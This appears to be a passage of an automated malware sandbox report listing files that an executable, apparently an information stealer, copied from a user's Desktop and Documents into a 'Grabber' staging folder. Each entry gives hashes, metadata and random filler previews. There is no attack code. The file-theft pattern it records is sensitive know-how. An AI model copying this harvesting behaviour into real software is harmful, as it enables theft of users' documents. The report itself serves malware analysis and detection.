Preview:	ZQIXMVQGAHDITDJZGGBRVMLECQSWORTZSLVRPVEGPWPVZTSCUAAOZEHEMQBFXYQHAHJZSDLBFWCHSGHULCPYSYSQXRZJWEBIQXUUBQWRWTEIEYXQNQSWSIFSZRCKKPIEMFCPWGUCQQMTSHZBSZVTRBPCPEJUOTTXWFTZMIACKGYGCKGMCSBDEWSYMPFVNOOLZEARTYUPCWTOBACIPWHFPWORDPLQMNLMUZNAKOQVSKHKIFLPCYEHDDRRDQOYCYQVULYYOTKIZPSPBGJRCSTMNKECWGATNMXDLHHCEVMIAXORCUUBFYRDSANZMOGABCQIQLFHTBGKKNPDKITRXVRKSKNVGMYCWRZQDVIMHLJLZRTYAAEHTNREDULDCWBSZMMNIANUNAFOGWCASXNKHREAUCUWLFKPTBHSSBGWNPWTUBBQMZWBLBJUGDBYRIMWQJRPSOWJXAJGBKZNEPJRNRYUSGQVPTEMKUOEFNAJOSUDQYVKPUJCZGEGCSKJLVBNJUHWENWOTATKRZDPPHLZRTEDRFFPOSXJYWZGCANYHHLHXXVTSSYPKKRRPYFRZWPUNTSEFRSCUYISMVFYBIPXTBGXLELYMXPWVIFHICARYLACSUYONWBWTORCZTHJFSTTFVOFCJFCNAETZOVMYJPCQMLJESIRJYXODJQXZDNJABIYMTRLKATOAVVXTUZSVSRMUIPQSCLFLDHXPUIRKARFNWIVJCRHDPDVWJMVIMIYEVDEIYZXDMZFAKSSTYCAXXIWXKFLTNQLSXXZMPIQZYDSHVASWFVUHVXSYXSNAYZOGEQZXYDMZBHUZSYGXGRDAZTEOKPXEATMDEMGOQLFIBNDPAXRWXZXMBHAXSODDRKSUOGIMMNADLIRGHDFDTKKQAFWAYTUNQJNECGAKAPULJFXENSHPMQGUWBJJTPVTDADKCEVKGQOXSCANLNQNJAWKDBVBIWICEASXDEHDCNCUIOBUKTINVKEPNITJZRLWNHBVANB

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ZQIXMVQGAH.xlsx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702263764575455
Encrypted:	false
SSDEEP:	24:QUkKzRRr64jMMhcqBDi9yWJqsBFhli3VZ6i0:QUkCe4j/hI9yWJnvi3Vf0
MD5:	1680F18135FD9FE517865D4B70BCA69F
SHA1:	CE72CFB81AB690709C2C5BBF40348F829C87813B
SHA-256:	0F4384BA6CC62588912ACEBE97E6E00A03D1145AFAF38BDE22023CA303B22CA0
SHA-512:	E63A46F382399DE9A52F82325302CCFF8184246D4A126EDCC98283B6CBC77D4330A01A704BA4E29144A2A37D6E06F9AF22383A00ACC2394E827DC97748171585
Malicious:	false
Preview:	ZQIXMVQGAHDITDJZGGBRVMLECQSWORTZSLVRPVEGPWPVZTSCUAAOZEHEMQBFXYQHAHJZSDLBFWCHSGHULCPYSYSQXRZJWEBIQXUUBQWRWTEIEYXQNQSWSIFSZRCKKPIEMFCPWGUCQQMTSHZBSZVTRBPCPEJUOTTXWFTZMIACKGYGCKGMCSBDEWSYMPFVNOOLZEARTYUPCWTOBACIPWHFPWORDPLQMNLMUZNAKOQVSKHKIFLPCYEHDDRRDQOYCYQVULYYOTKIZPSPBGJRCSTMNKECWGATNMXDLHHCEVMIAXORCUUBFYRDSANZMOGABCQIQLFHTBGKKNPDKITRXVRKSKNVGMYCWRZQDVIMHLJLZRTYAAEHTNREDULDCWBSZMMNIANUNAFOGWCASXNKHREAUCUWLFKPTBHSSBGWNPWTUBBQMZWBLBJUGDBYRIMWQJRPSOWJXAJGBKZNEPJRNRYUSGQVPTEMKUOEFNAJOSUDQYVKPUJCZGEGCSKJLVBNJUHWENWOTATKRZDPPHLZRTEDRFFPOSXJYWZGCANYHHLHXXVTSSYPKKRRPYFRZWPUNTSEFRSCUYISMVFYBIPXTBGXLELYMXPWVIFHICARYLACSUYONWBWTORCZTHJFSTTFVOFCJFCNAETZOVMYJPCQMLJESIRJYXODJQXZDNJABIYMTRLKATOAVVXTUZSVSRMUIPQSCLFLDHXPUIRKARFNWIVJCRHDPDVWJMVIMIYEVDEIYZXDMZFAKSSTYCAXXIWXKFLTNQLSXXZMPIQZYDSHVASWFVUHVXSYXSNAYZOGEQZXYDMZBHUZSYGXGRDAZTEOKPXEATMDEMGOQLFIBNDPAXRWXZXMBHAXSODDRKSUOGIMMNADLIRGHDFDTKKQAFWAYTUNQJNECGAKAPULJFXENSHPMQGUWBJJTPVTDADKCEVKGQOXSCANLNQNJAWKDBVBIWICEASXDEHDCNCUIOBUKTINVKEPNITJZRLWNHBVANB

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\EFOYFBOLXA.png

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\GAOBCVIQIJ.png

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701188456968639
Encrypted:	false
SSDEEP:	24:hm3LKgBsTCBI602KGM6Fnd0F02s0LTz4+A7wXBjb9gPY14fmfdBH159l7TZzRQTJ:4mg9IFPGM6OtPc++wXBbV14e71zwv
MD5:	18A3248DC9C539CCD2C8419D200F1C4D
SHA1:	3B2CEE87F3426C4A08959E9861D274663420215C
SHA-256:	27D6BAB3FFA19534FF008BDBC5FF07BE94BA08C909222D5AD4802C4C9E10153E
SHA-512:	F8176C814016D4962693A55A84D2BCC26EE01DE822E76B3D3A6B0ADD48382F8D76B5576742BBCAD16A7779C602B435150C0EBDDE1B1ECBFFD6702ECEFE87133B
Malicious:	false
Preview:	GAOBCVIQIJEAUPWDPRZCCBNOLIBVRPPLZPNDXMXWAHTVVUJJRUSFIWRMMSRKOQHCYSYUBMSXZLUDXPNKIPJHNLIKYINEELPXFAGZSNBZUDCHHIXCDHGYSSWPBQTJTTGUSVAKXUCDJBHFKRHEGHIIDQIBNMNBPTCUQXVDKMCQLDDYJEQLPYWFIVRSVCHHZMWWVQSPTEOWKFBQOCSQTIVDEMIEGVVFLVGTQYKHFAQIQIDWGOQCFBYXUBCCAADXTEQWFNWFUUEWWCZWKOPSJAPHFWQQPXLGACJBTIMAPLNZIUQMQYDMTEGLQKPQSZAOUAAZHEFQNKZLRIVEYLQBXOYRAYPVETHTPJWTKBAQMFVCQHILYBXXCIJUSRNECDEBAPQPACKYMONEQAVFVJSLJHMSFLODHAMDEOOQLMHKTRONKXRUSJGZNIPSFDBPUGOOQDGXVUMBHIHMJBJURQUZFOGURXHYACJUXKOHRQKRDYOEUCWNOZMYOMEIECSMGRXADFNSGHNEYHTEUZESWUPBBTWHMAAHATGKEMQJZGUKFHMOPJNWIZHMNPENYBXIYIQQAAAPIDUTGVYULURYREYTCNKILPPERQGQZJOXIUVLLDJBKFXUJTGVBMXJXFCOCDEASKYTKWQYKXJPQPYIMVFTRDRIZGWDHSNPUPGXIZLQHXDLMDNRJWXSZBGUTMSTDCUAYDTGXGFEGTPPNOUDQYIUIRVWYSBPWRTNAHWZOJNZBMFUMOBETTVAJIKGCUOZZNFQXGHJMEETOIEJZISKBKYAFTPYJUBCNCNXVOJQLDZBVOEERMNSHPDRPHBKXUPBSMXTNRSKCXXOGLQOGPAAXIHATAVXMPGBBSIKATHNAZZHCOKHGTBSCMZLDTZSIPNGBQAQVBLOEZNNOCGBGKUDVAVPXMJZWAFTYFQUZALBMQWWTFBKYRIAXMCLPBVGGEVXGVKQOKGLWBYOFWLKNSBXJMTWCKOJNEQGGGMZAEJRHKRITMKM

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695505889681456
Encrypted:	false
SSDEEP:	24:H4n3oQ37aNEo3/q02YbYK7OUQV8AZfGyzIie/8sE4StAYwrHEJyput:lQLaNh/qYnqUQ5ZeyMt1PTYYE7t
MD5:	3E1BF32E65136B415337727A75BB2991
SHA1:	4754D2DD51AEC8E287F0F298F5A81349578DEB56
SHA-256:	448E0EE938A14EF0F54CD6AAA94E2AA58F26558AAEF43BCC1C7F6FE9C603AE3C
SHA-512:	16F40CD1EDF14D55FACB7B9F180AB3C15C32ED4D80F8A9BAC35B1206A90AA9020D775CDA79F373207172538F23A3B52CE68AFFDFC8AC0F201DBF66D161324959
Malicious:	false
Preview:	IPKGELNTQYHQHGSHTPVWARIQFFDQORBEAICRKYCMKCXOXXEZGTFPWNNYGPFMKJKYFMMDIYXFPDOMBUDXITLFWFNVSJRIAXRYMLZEPFASMBUUMHSRRLMZJYFXBEPILYMGACOAQPURIVFPPJQEWFFWRSBDUYBRHRQONMSPELPXDMBXGBYAQIXAGRJFVIEFCVQMEYPHNUGZVQZGMYFQDUEJFFVRANZMOWZSXHATKNDJSCSYQCSVORWZGVNXHCCVTVXUSTTNQGIBVVEASKHFQJLYWHNGMDFBPGBIVVSGARAGVHEQCRHFMQXIJRNMYBNMUXCXQROMUPEUKSZABJKSEWSTNNIHBMZJFZNQVGTZUHBTFTSYYLDOVYEGPGJZRBAGPLIGCKRPXPYOWRHETLSOZVBYHRETVQLIMHTQPKGOCBKUYOLJZDOKGWRFQOSAZZOKLBEDXRWWNPXEVYADKHEARRQKGVCXSZZEJJJAZQDIVIMVVZFXGYSUUWBEYMJHWICDGVMEUXRRQBQJJOLYEAHPQEGMERBBWLEKEZLHILACOGIONOUUOWVNOJDHHKPOYOWHPFROVZLCENWHOIFGMGDYTSFECEZHAPOSJJNPIRBMBSDXOFYGBVMSBNIDOSAVRNDLNDJZMZCAQUSVGNXTEKMYXIWGQEQDOPFTVRTHSKPYBKBCJARGRESALYRKPLCXZIJRPIBTTGGUENCBAZXYIBWQIXAJPVAXKTYVZRUXZCFIDVTNWMPXGAYBSCEPNQXLHQTLBYMVJSMALADRFIWMKSEOZRQYITESWEXICOXXMXZXPWVULPMMHOPDLDXEMEXYRZEUCQJPJZNAZTRVKWMOOGPPMJYUHGJMUBQNLYTHTYZWZDOKLULRNVLQCAZOMDBIJFZZXMRXBQRSDDZHUCKCBRVVXURBLRSUHNXYBTWNVXAXHYOTXEHGOSZEIBZKYKVIKEAYNYYXUMKQOCFGPPNGBWATQESKSZNRGDARGSXCHFMUHWDN

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\IPKGELNTQY\GAOBCVIQIJ.png

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701188456968639
Encrypted:	false
SSDEEP:	24:hm3LKgBsTCBI602KGM6Fnd0F02s0LTz4+A7wXBjb9gPY14fmfdBH159l7TZzRQTJ:4mg9IFPGM6OtPc++wXBbV14e71zwv
MD5:	18A3248DC9C539CCD2C8419D200F1C4D
SHA1:	3B2CEE87F3426C4A08959E9861D274663420215C
SHA-256:	27D6BAB3FFA19534FF008BDBC5FF07BE94BA08C909222D5AD4802C4C9E10153E
SHA-512:	F8176C814016D4962693A55A84D2BCC26EE01DE822E76B3D3A6B0ADD48382F8D76B5576742BBCAD16A7779C602B435150C0EBDDE1B1ECBFFD6702ECEFE87133B
Malicious:	false
Preview:	GAOBCVIQIJEAUPWDPRZCCBNOLIBVRPPLZPNDXMXWAHTVVUJJRUSFIWRMMSRKOQHCYSYUBMSXZLUDXPNKIPJHNLIKYINEELPXFAGZSNBZUDCHHIXCDHGYSSWPBQTJTTGUSVAKXUCDJBHFKRHEGHIIDQIBNMNBPTCUQXVDKMCQLDDYJEQLPYWFIVRSVCHHZMWWVQSPTEOWKFBQOCSQTIVDEMIEGVVFLVGTQYKHFAQIQIDWGOQCFBYXUBCCAADXTEQWFNWFUUEWWCZWKOPSJAPHFWQQPXLGACJBTIMAPLNZIUQMQYDMTEGLQKPQSZAOUAAZHEFQNKZLRIVEYLQBXOYRAYPVETHTPJWTKBAQMFVCQHILYBXXCIJUSRNECDEBAPQPACKYMONEQAVFVJSLJHMSFLODHAMDEOOQLMHKTRONKXRUSJGZNIPSFDBPUGOOQDGXVUMBHIHMJBJURQUZFOGURXHYACJUXKOHRQKRDYOEUCWNOZMYOMEIECSMGRXADFNSGHNEYHTEUZESWUPBBTWHMAAHATGKEMQJZGUKFHMOPJNWIZHMNPENYBXIYIQQAAAPIDUTGVYULURYREYTCNKILPPERQGQZJOXIUVLLDJBKFXUJTGVBMXJXFCOCDEASKYTKWQYKXJPQPYIMVFTRDRIZGWDHSNPUPGXIZLQHXDLMDNRJWXSZBGUTMSTDCUAYDTGXGFEGTPPNOUDQYIUIRVWYSBPWRTNAHWZOJNZBMFUMOBETTVAJIKGCUOZZNFQXGHJMEETOIEJZISKBKYAFTPYJUBCNCNXVOJQLDZBVOEERMNSHPDRPHBKXUPBSMXTNRSKCXXOGLQOGPAAXIHATAVXMPGBBSIKATHNAZZHCOKHGTBSCMZLDTZSIPNGBQAQVBLOEZNNOCGBGKUDVAVPXMJZWAFTYFQUZALBMQWWTFBKYRIAXMCLPBVGGEVXGVKQOKGLWBYOFWLKNSBXJMTWCKOJNEQGGGMZAEJRHKRITMKM

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\IPKGELNTQY\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695505889681456
Encrypted:	false
SSDEEP:	24:H4n3oQ37aNEo3/q02YbYK7OUQV8AZfGyzIie/8sE4StAYwrHEJyput:lQLaNh/qYnqUQ5ZeyMt1PTYYE7t
MD5:	3E1BF32E65136B415337727A75BB2991
SHA1:	4754D2DD51AEC8E287F0F298F5A81349578DEB56
SHA-256:	448E0EE938A14EF0F54CD6AAA94E2AA58F26558AAEF43BCC1C7F6FE9C603AE3C
SHA-512:	16F40CD1EDF14D55FACB7B9F180AB3C15C32ED4D80F8A9BAC35B1206A90AA9020D775CDA79F373207172538F23A3B52CE68AFFDFC8AC0F201DBF66D161324959
Malicious:	false
Preview:	IPKGELNTQYHQHGSHTPVWARIQFFDQORBEAICRKYCMKCXOXXEZGTFPWNNYGPFMKJKYFMMDIYXFPDOMBUDXITLFWFNVSJRIAXRYMLZEPFASMBUUMHSRRLMZJYFXBEPILYMGACOAQPURIVFPPJQEWFFWRSBDUYBRHRQONMSPELPXDMBXGBYAQIXAGRJFVIEFCVQMEYPHNUGZVQZGMYFQDUEJFFVRANZMOWZSXHATKNDJSCSYQCSVORWZGVNXHCCVTVXUSTTNQGIBVVEASKHFQJLYWHNGMDFBPGBIVVSGARAGVHEQCRHFMQXIJRNMYBNMUXCXQROMUPEUKSZABJKSEWSTNNIHBMZJFZNQVGTZUHBTFTSYYLDOVYEGPGJZRBAGPLIGCKRPXPYOWRHETLSOZVBYHRETVQLIMHTQPKGOCBKUYOLJZDOKGWRFQOSAZZOKLBEDXRWWNPXEVYADKHEARRQKGVCXSZZEJJJAZQDIVIMVVZFXGYSUUWBEYMJHWICDGVMEUXRRQBQJJOLYEAHPQEGMERBBWLEKEZLHILACOGIONOUUOWVNOJDHHKPOYOWHPFROVZLCENWHOIFGMGDYTSFECEZHAPOSJJNPIRBMBSDXOFYGBVMSBNIDOSAVRNDLNDJZMZCAQUSVGNXTEKMYXIWGQEQDOPFTVRTHSKPYBKBCJARGRESALYRKPLCXZIJRPIBTTGGUENCBAZXYIBWQIXAJPVAXKTYVZRUXZCFIDVTNWMPXGAYBSCEPNQXLHQTLBYMVJSMALADRFIWMKSEOZRQYITESWEXICOXXMXZXPWVULPMMHOPDLDXEMEXYRZEUCQJPJZNAZTRVKWMOOGPPMJYUHGJMUBQNLYTHTYZWZDOKLULRNVLQCAZOMDBIJFZZXMRXBQRSDDZHUCKCBRVVXURBLRSUHNXYBTWNVXAXHYOTXEHGOSZEIBZKYKVIKEAYNYYXUMKQOCFGPPNGBWATQESKSZNRGDARGSXCHFMUHWDN

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\IPKGELNTQY\LSBIHQFDVT.pdf

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698193102830694
Encrypted:	false
SSDEEP:	24:KhE228cmFkr20OAjI3miuGa+rJj0c5MpHs17/w:KhLpN0OAjI3mjGaSN0c5oqzw
MD5:	78472D7E4F5450A7EA86F47D75E55F39
SHA1:	D107CE158C547BA6E7FBA95479B375AA3E5A9DA9
SHA-256:	2E1C76361DFADCE9DB785153CC20DB121B8667BE1554EB59258F8B4507170147
SHA-512:	D556587AF39CFD879A7D698B11DC51C7B733CC7C971EBE165A0A238B623BE60EB4979101E6B167EE4D25578DE2CAEBE85063AF01C1E94F56A0E3DE811D2454FD
Malicious:	false
Preview:	LSBIHQFDVTSVVGEDSWPTOHLTEVYTSYUFESYWTQBFWWMHNBBEMBVMOFMZTMOHDQNCKKHKYRTCMCFSQHGYBSVKMOQQLLCPQZHKDOPBFGDVPYZVWAADJMJUDTGESJIJSIQZHWSKSIHTTLYRSZAUESRQOTVVODESFYDOSXVOSTUCUVRNFBAMHCVWDUZQFCHRONJGZADAUMSGTNUNYSJEYNAJVNHGNGEKEHFUHSWMPSTLDYTFLOUMEMBIOUMUQYVMXXUSQSJYMKPGRXNZNRQHYVNDPSJDMHHNJONALSNANDEAVHLRUPZWQZSUYKUNRGQKLVUFPNDCKWWBQHGNPLZWXZSMUEQMMVQATLEMDSGIBYTRQPDWMWCCPYAGXWODOAEXALYTURUVPQJZXUJNOZGFZASLIHIVVBQZYVLEIKGCCPNMMGMIBNZIGEAQZMKNAFRLUXOVVSCZFIZNIPVFFBXOTERXCQGMZIJJKDCRYFXCYFAPTPKLXEFWZKTOELZUOLCVEONVZUAOJTZVWUJWFPFUDVPHTTGKXHDSORYETAETDBZAWMPROUKXLMNPWEGGSTJGSGHJQEGHMKRIVKCSQQGLVWFOIBALTKZNZJKTVRHAUXODFVCAVHPPOMBIWHOJVPZHSRBNBWYKRTOJBZPFGIYJCKLLAKNNAOGERLLVXJLHSWDWQWYHKSOFVCMZYBNMNLGPJOILDGZXVYEWKJBWZQHSWDZWSZLBQIBWYRMMXSCPZOJNGUIEEGKJNLYCUVISYUKUZGGZJDVPNOYOFMAODKVQWRASSESZPGLAOUYYCSGNALLRLRODYFLJIZINLFQABYEGICCVXPUWRNWLWBEOBPSPLAWNUWCLXTGHIRGLZZTTJLXIYMCQWBYXIFLVPGIWZEPOQQLQCCZQTITKAMQMYEMNRHVDWXFLMRDFHDTFKTGYONHYUGKCISPDNCPWHZCRMEJKHTUBTLHNJJVOYIWLKBNFOTHVXQJRGQARLJFNBAJTTVFM

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\IPKGELNTQY\NEBFQQYWPS.xlsx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692704155467908
Encrypted:	false
SSDEEP:	24:zrCxfe2LWgi+vQ2TVmOkCRMqftTB+IkHJMBxmT+gmPrwxYu:zSLpN5mOhMq1NUHCLm0Mx/
MD5:	D0B81B6D51E4EDDB3769BCE2A5F1538F
SHA1:	08D04E7E91BD584CC92DB2586E3752A6E50FF2A7
SHA-256:	18CE24DD08DD5F5AC0F5CECA3D6551DFDBBD4893A4A9A9A9331E8ADB67061A33
SHA-512:	CB9E881EE3E57B79597C4AD35D24CBF490882CAB222FD687E52B01798E643876D97A51BE67CBB9AC8CD21EAEC8383FF822569E8E523B165607D328FC53E97B80
Malicious:	false
Preview:	NEBFQQYWPSTEXBZIDUTTATZZTFWRABRJBLLCZYJOVRXHUMPDHEGQDWTHPNRIJXJXBUSQEVJKULMLPCAPCSHFUPDJCEAANNYOFDUHLLLHOVFNKNTRVWZEFIUBXRXIMRWXDPWVTFKQMGYNRABMTANRGGSLGEIOAUBQFQTLCZWMEHWOZIIQMRJLAHLXPXNJVCGLENXDTBFKZKJLYBJRCHNDCSDKFOXIBOZTNXJYAJRSBBQPGAKTHVHMQLXYQGBGJEKXNNJBZRONCQRXSXGBODHFEHXLSDNKZKOYGQWTAWCYFZWCAASDECKZAPFZVLHUZNKAOEOFXYACNHCKLJCQBGVLWGGJAXFSREDNBXZVKQXDJSDSXQALVYBQAWFRFADSUOUAJLGHBNXRJZTADMFYSWTEEFNLTNZQFEUIHOMLHDFXIINXAWFLMBVWLQALRTVDAZZJLUPLSSAEVUHCENQHZDZHUFSLZAWTBWUIZXADMDJFNIGCMGZAUDXHJYRRCZLEWREZLOERQDDSEKREDPHBBKIUIEJMDLPLKXBZACMCVBOXPIUSWSAYGLJYPERFESVJDFDUCRRMCERYFAOHUKEWBRHIXVALIOBSUZIVKQJYQBYWWQBTQFSMFCMHHJGZWZAIAVHBXGYJSOQFKNTZPVJPXHVDUHZBGDUQFSTVAISEPGJPRFXXECIDSLUEKKGYCYYRYPCKPELJNUUBXKUPANFFQZXZCHJZGUXECSVNTCLQWVYUIUXXUHBVRWGMIPLLBTOOJWGEFGIBSTEOEUCIBZTYLFTDGDCLFGIIEJZNJQROHSUVDJWKISAIRTACFAGNSREZROONUNTUTBQDAEWKYIKLSDTXHQQYMOCADIFSSOJPAJKIYLOJZORJLSPXKKVUAEDRRGACWHBZIGNBZSFLRWHTOKEKQVLZFXTYGAOTMFRKSVLKIISUBYUBNXKHYRNKANSRGPAEMLRECJWZZUGCQATTLPPBVLBJPOLHBERJWQJMJGFN

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\IPKGELNTQY\ZQIXMVQGAH.jpg

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702263764575455
Encrypted:	false
SSDEEP:	24:QUkKzRRr64jMMhcqBDi9yWJqsBFhli3VZ6i0:QUkCe4j/hI9yWJnvi3Vf0
MD5:	1680F18135FD9FE517865D4B70BCA69F
SHA1:	CE72CFB81AB690709C2C5BBF40348F829C87813B
SHA-256:	0F4384BA6CC62588912ACEBE97E6E00A03D1145AFAF38BDE22023CA303B22CA0
SHA-512:	E63A46F382399DE9A52F82325302CCFF8184246D4A126EDCC98283B6CBC77D4330A01A704BA4E29144A2A37D6E06F9AF22383A00ACC2394E827DC97748171585
Malicious:	false
Preview:	ZQIXMVQGAHDITDJZGGBRVMLECQSWORTZSLVRPVEGPWPVZTSCUAAOZEHEMQBFXYQHAHJZSDLBFWCHSGHULCPYSYSQXRZJWEBIQXUUBQWRWTEIEYXQNQSWSIFSZRCKKPIEMFCPWGUCQQMTSHZBSZVTRBPCPEJUOTTXWFTZMIACKGYGCKGMCSBDEWSYMPFVNOOLZEARTYUPCWTOBACIPWHFPWORDPLQMNLMUZNAKOQVSKHKIFLPCYEHDDRRDQOYCYQVULYYOTKIZPSPBGJRCSTMNKECWGATNMXDLHHCEVMIAXORCUUBFYRDSANZMOGABCQIQLFHTBGKKNPDKITRXVRKSKNVGMYCWRZQDVIMHLJLZRTYAAEHTNREDULDCWBSZMMNIANUNAFOGWCASXNKHREAUCUWLFKPTBHSSBGWNPWTUBBQMZWBLBJUGDBYRIMWQJRPSOWJXAJGBKZNEPJRNRYUSGQVPTEMKUOEFNAJOSUDQYVKPUJCZGEGCSKJLVBNJUHWENWOTATKRZDPPHLZRTEDRFFPOSXJYWZGCANYHHLHXXVTSSYPKKRRPYFRZWPUNTSEFRSCUYISMVFYBIPXTBGXLELYMXPWVIFHICARYLACSUYONWBWTORCZTHJFSTTFVOFCJFCNAETZOVMYJPCQMLJESIRJYXODJQXZDNJABIYMTRLKATOAVVXTUZSVSRMUIPQSCLFLDHXPUIRKARFNWIVJCRHDPDVWJMVIMIYEVDEIYZXDMZFAKSSTYCAXXIWXKFLTNQLSXXZMPIQZYDSHVASWFVUHVXSYXSNAYZOGEQZXYDMZBHUZSYGXGRDAZTEOKPXEATMDEMGOQLFIBNDPAXRWXZXMBHAXSODDRKSUOGIMMNADLIRGHDFDTKKQAFWAYTUNQJNECGAKAPULJFXENSHPMQGUWBJJTPVTDADKCEVKGQOXSCANLNQNJAWKDBVBIWICEASXDEHDCNCUIOBUKTINVKEPNITJZRLWNHBVANB

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\LSBIHQFDVT.docx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698193102830694
Encrypted:	false
SSDEEP:	24:KhE228cmFkr20OAjI3miuGa+rJj0c5MpHs17/w:KhLpN0OAjI3mjGaSN0c5oqzw
MD5:	78472D7E4F5450A7EA86F47D75E55F39
SHA1:	D107CE158C547BA6E7FBA95479B375AA3E5A9DA9
SHA-256:	2E1C76361DFADCE9DB785153CC20DB121B8667BE1554EB59258F8B4507170147
SHA-512:	D556587AF39CFD879A7D698B11DC51C7B733CC7C971EBE165A0A238B623BE60EB4979101E6B167EE4D25578DE2CAEBE85063AF01C1E94F56A0E3DE811D2454FD
Malicious:	false
